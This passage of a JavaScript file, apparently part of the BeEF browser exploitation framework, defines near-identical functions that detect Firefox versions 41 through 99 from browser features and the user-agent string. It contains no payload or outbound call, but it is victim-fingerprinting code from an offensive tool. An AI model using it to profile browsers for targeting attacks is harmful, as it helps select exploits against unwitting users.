  5738.     },
  5739.  
  5740.     /**
  5741.      * Returns true if FF41
  5742.      * @example: beef.browser.isFF41()
  5743.      */
  5744.     isFF41: function () {
  5745.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
  5746.     },
  5747.  
  5748.     /**
  5749.      * Returns true if FF42
  5750.      * @example: beef.browser.isFF42()
  5751.      */
  5752.     isFF42: function () {
  5753.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
  5754.     },
  5755.  
  5756.     /**
  5757.      * Returns true if FF43
  5758.      * @example: beef.browser.isFF43()
  5759.      */
  5760.     isFF43: function () {
  5761.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
  5762.     },
  5763.  
  5764.     /**
  5765.      * Returns true if FF44
  5766.      * @example: beef.browser.isFF44()
  5767.      */
  5768.     isFF44: function () {
  5769.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
  5770.     },
  5771.  
  5772.     /**
  5773.      * Returns true if FF45
  5774.      * @example: beef.browser.isFF45()
  5775.      */
  5776.     isFF45: function () {
  5777.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
  5778.     },
  5779.  
  5780.     /**
  5781.      * Returns true if FF46
  5782.      * @example: beef.browser.isFF46()
  5783.      */
  5784.     isFF46: function () {
  5785.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
  5786.     },
  5787.  
  5788.     /**
  5789.      * Returns true if FF47
  5790.      * @example: beef.browser.isFF47()
  5791.      */
  5792.     isFF47: function () {
  5793.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
  5794.     },
  5795.  
  5796.     /**
  5797.      * Returns true if FF48
  5798.      * @example: beef.browser.isFF48()
  5799.      */
  5800.     isFF48: function () {
  5801.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
  5802.     },
  5803.  
  5804.     /**
  5805.      * Returns true if FF49
  5806.      * @example: beef.browser.isFF49()
  5807.      */
  5808.     isFF49: function () {
  5809.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
  5810.     },
  5811.  
  5812.     /**
  5813.      * Returns true if FF50
  5814.      * @example: beef.browser.isFF50()
  5815.      */
  5816.     isFF50: function () {
  5817.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
  5818.     },
  5819.  
  5820.     /**
  5821.      * Returns true if FF51
  5822.      * @example: beef.browser.isFF51()
  5823.      */
  5824.     isFF51: function () {
  5825.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
  5826.     },
  5827.  
  5828.     /**
  5829.      * Returns true if FF52
  5830.      * @example: beef.browser.isFF52()
  5831.      */
  5832.     isFF52: function () {
  5833.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
  5834.     },
  5835.  
  5836.     /**
  5837.      * Returns true if FF53
  5838.      * @example: beef.browser.isFF53()
  5839.      */
  5840.     isFF53: function () {
  5841.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
  5842.     },
  5843.  
  5844.     /**
  5845.      * Returns true if FF54
  5846.      * @example: beef.browser.isFF54()
  5847.      */
  5848.     isFF54: function () {
  5849.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
  5850.     },
  5851.  
  5852.     /**
  5853.      * Returns true if FF55
  5854.      * @example: beef.browser.isFF55()
  5855.      */
  5856.     isFF55: function () {
  5857.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
  5858.     },
  5859.  
  5860.     /**
  5861.      * Returns true if FF56
  5862.      * @example: beef.browser.isFF56()
  5863.      */
  5864.     isFF56: function () {
  5865.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
  5866.     },
  5867.  
  5868.     /**
  5869.      * Returns true if FF57
  5870.      * @example: beef.browser.isFF57()
  5871.      */
  5872.     isFF57: function () {
  5873.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
  5874.     },
  5875.    
  5876.     /**
  5877.      * Returns true if FF58
  5878.      * @example: beef.browser.isFF58()
  5879.      */
  5880.     isFF58: function () {
  5881.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
  5882.     },
  5883.  
  5884.     /**
  5885.      * Returns true if FF59
  5886.      * @example: beef.browser.isFF59()
  5887.      */
  5888.     isFF59: function () {
  5889.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/59./) != null;
  5890.     },
  5891.  
  5892.     /**
  5893.      * Returns true if FF60
  5894.      * @example: beef.browser.isFF60()
  5895.      */
  5896.     isFF60: function () {
  5897.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/60./) != null;
  5898.     },
  5899.  
  5900.     /**
  5901.      * Returns true if FF61
  5902.      * @example: beef.browser.isFF61()
  5903.      */
  5904.     isFF61: function () {
  5905.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/61./) != null;
  5906.     },
  5907.  
  5908.     /**
  5909.      * Returns true if FF62
  5910.      * @example: beef.browser.isFF62()
  5911.      */
  5912.     isFF62: function () {
  5913.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/62./) != null;
  5914.     },
  5915.  
  5916.     /**
  5917.      * Returns true if FF63
  5918.      * @example: beef.browser.isFF63()
  5919.      */
  5920.     isFF63: function () {
  5921.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/63./) != null;
  5922.     },
  5923.  
  5924.     /**
  5925.      * Returns true if FF64
  5926.      * @example: beef.browser.isFF64()
  5927.      */
  5928.     isFF64: function () {
  5929.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/64./) != null;
  5930.     },
  5931.  
  5932.     /**
  5933.      * Returns true if FF65
  5934.      * @example: beef.browser.isFF65()
  5935.      */
  5936.     isFF65: function () {
  5937.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/65./) != null;
  5938.     },
  5939.  
  5940.     /**
  5941.      * Returns true if FF66
  5942.      * @example: beef.browser.isFF66()
  5943.      */
  5944.     isFF66: function () {
  5945.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/66./) != null;
  5946.     },
  5947.  
  5948.     /**
  5949.      * Returns true if FF67
  5950.      * @example: beef.browser.isFF67()
  5951.      */
  5952.     isFF67: function () {
  5953.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/67./) != null;
  5954.     },
  5955.  
  5956.     /**
  5957.      * Returns true if FF68
  5958.      * @example: beef.browser.isFF68()
  5959.      */
  5960.     isFF68: function () {
  5961.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/68./) != null;
  5962.     },
  5963.  
  5964.     /**
  5965.      * Returns true if FF69
  5966.      * @example: beef.browser.isFF69()
  5967.      */
  5968.     isFF69: function () {
  5969.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/69./) != null;
  5970.     },
  5971.  
  5972.     /**
  5973.      * Returns true if FF70
  5974.      * @example: beef.browser.isFF70()
  5975.      */
  5976.     isFF70: function () {
  5977.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/70./) != null;
  5978.     },
  5979.  
  5980.     /**
  5981.      * Returns true if FF71
  5982.      * @example: beef.browser.isFF71()
  5983.      */
  5984.     isFF71: function () {
  5985.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/71./) != null;
  5986.     },
  5987.  
  5988.     /**
  5989.      * Returns true if FF72
  5990.      * @example: beef.browser.isFF72()
  5991.      */
  5992.     isFF72: function () {
  5993.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/72./) != null;
  5994.     },
  5995.  
  5996.     /**
  5997.      * Returns true if FF73
  5998.      * @example: beef.browser.isFF73()
  5999.      */
  6000.     isFF73: function () {
  6001.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/73./) != null;
  6002.     },
  6003.  
  6004.     /**
  6005.      * Returns true if FF74
  6006.      * @example: beef.browser.isFF74()
  6007.      */
  6008.     isFF74: function () {
  6009.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/74./) != null;
  6010.     },
  6011.  
  6012.     /**
  6013.      * Returns true if FF75
  6014.      * @example: beef.browser.isFF75()
  6015.      */
  6016.     isFF75: function () {
  6017.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/75./) != null;
  6018.     },
  6019.  
  6020.     /**
  6021.      * Returns true if FF76
  6022.      * @example: beef.browser.isFF76()
  6023.      */
  6024.     isFF76: function () {
  6025.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/76./) != null;
  6026.     },
  6027.  
  6028.     /**
  6029.      * Returns true if FF77
  6030.      * @example: beef.browser.isFF77()
  6031.      */
  6032.     isFF77: function () {
  6033.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/77./) != null;
  6034.     },
  6035.  
  6036.     /**
  6037.      * Returns true if FF78
  6038.      * @example: beef.browser.isFF78()
  6039.      */
  6040.     isFF78: function () {
  6041.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/78./) != null;
  6042.     },
  6043.  
  6044.     /**
  6045.      * Returns true if FF79
  6046.      * @example: beef.browser.isFF79()
  6047.      */
  6048.     isFF79: function () {
  6049.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/79./) != null;
  6050.     },
  6051.  
  6052.     /**
  6053.      * Returns true if FF80
  6054.      * @example: beef.browser.isFF80()
  6055.      */
  6056.     isFF80: function () {
  6057.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/80./) != null;
  6058.     },
  6059.  
  6060.     /**
  6061.      * Returns true if FF81
  6062.      * @example: beef.browser.isFF81()
  6063.      */
  6064.     isFF81: function () {
  6065.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/81./) != null;
  6066.     },
  6067.  
  6068.     /**
  6069.      * Returns true if FF82
  6070.      * @example: beef.browser.isFF82()
  6071.      */
  6072.     isFF82: function () {
  6073.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/82./) != null;
  6074.     },
  6075.  
  6076.     /**
  6077.      * Returns true if FF83
  6078.      * @example: beef.browser.isFF83()
  6079.      */
  6080.     isFF83: function () {
  6081.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/83./) != null;
  6082.     },
  6083.  
  6084.     /**
  6085.      * Returns true if FF84
  6086.      * @example: beef.browser.isFF84()
  6087.      */
  6088.     isFF84: function () {
  6089.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/84./) != null;
  6090.     },
  6091.  
  6092.     /**
  6093.      * Returns true if FF85
  6094.      * @example: beef.browser.isFF85()
  6095.      */
  6096.     isFF85: function () {
  6097.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/85./) != null;
  6098.     },
  6099.  
  6100.     /**
  6101.      * Returns true if FF86
  6102.      * @example: beef.browser.isFF86()
  6103.      */
  6104.     isFF86: function () {
  6105.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/86./) != null;
  6106.     },
  6107.  
  6108.     /**
  6109.      * Returns true if FF87
  6110.      * @example: beef.browser.isFF87()
  6111.      */
  6112.     isFF87: function () {
  6113.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/87./) != null;
  6114.     },
  6115.  
  6116.     /**
  6117.      * Returns true if FF88
  6118.      * @example: beef.browser.isFF88()
  6119.      */
  6120.     isFF88: function () {
  6121.         return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/88./) != null;
  6122.     },
  6123.  
  6124.     /**
  6125.      * Returns true if FF89
  6126.      * @example: beef.browser.isFF89()
  6127.      */
  6128.     isFF89: function () {
  6129.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
  6130.     },
  6131.  
  6132.     /**
  6133.      * Returns true if FF90
  6134.      * @example: beef.browser.isFF90()
  6135.      */
  6136.     isFF90: function () {
  6137.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
  6138.     },
  6139.  
  6140.     /**
  6141.      * Returns true if FF91
  6142.      * @example: beef.browser.isFF91()
  6143.      */
  6144.     isFF91: function () {
  6145.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
  6146.     },
  6147.  
  6148.     /**
  6149.      * Returns true if FF92
  6150.      * @example: beef.browser.isFF92()
  6151.      */
  6152.     isFF92: function () {
  6153.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
  6154.     },
  6155.  
  6156.     /**
  6157.      * Returns true if FF93
  6158.      * @example: beef.browser.isFF93()
  6159.      */
  6160.     isFF93: function () {
  6161.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
  6162.     },
  6163.  
  6164.     /**
  6165.      * Returns true if FF94
  6166.      * @example: beef.browser.isFF94()
  6167.      */
  6168.     isFF94: function () {
  6169.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
  6170.     },
  6171.  
  6172.     /**
  6173.      * Returns true if FF95
  6174.      * @example: beef.browser.isFF95()
  6175.      */
  6176.     isFF95: function () {
  6177.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
  6178.     },
  6179.  
  6180.     /**
  6181.      * Returns true if FF96
  6182.      * @example: beef.browser.isFF96()
  6183.      */
  6184.     isFF96: function () {
  6185.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
  6186.     },
  6187.  
  6188.     /**
  6189.      * Returns true if FF97
  6190.      * @example: beef.browser.isFF97()
  6191.      */
  6192.     isFF97: function () {
  6193.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
  6194.     },
  6195.  
  6196.     /**
  6197.      * Returns true if FF98
  6198.      * @example: beef.browser.isFF98()
  6199.      */
  6200.     isFF98: function () {
  6201.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
  6202.     },
  6203.  
  6204.     /**
  6205.      * Returns true if FF99
  6206.      * @example: beef.browser.isFF99()
  6207.      */
  6208.     isFF99: function () {
  6209.         return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
  6210.     },
  6211.  
  6212.     /**
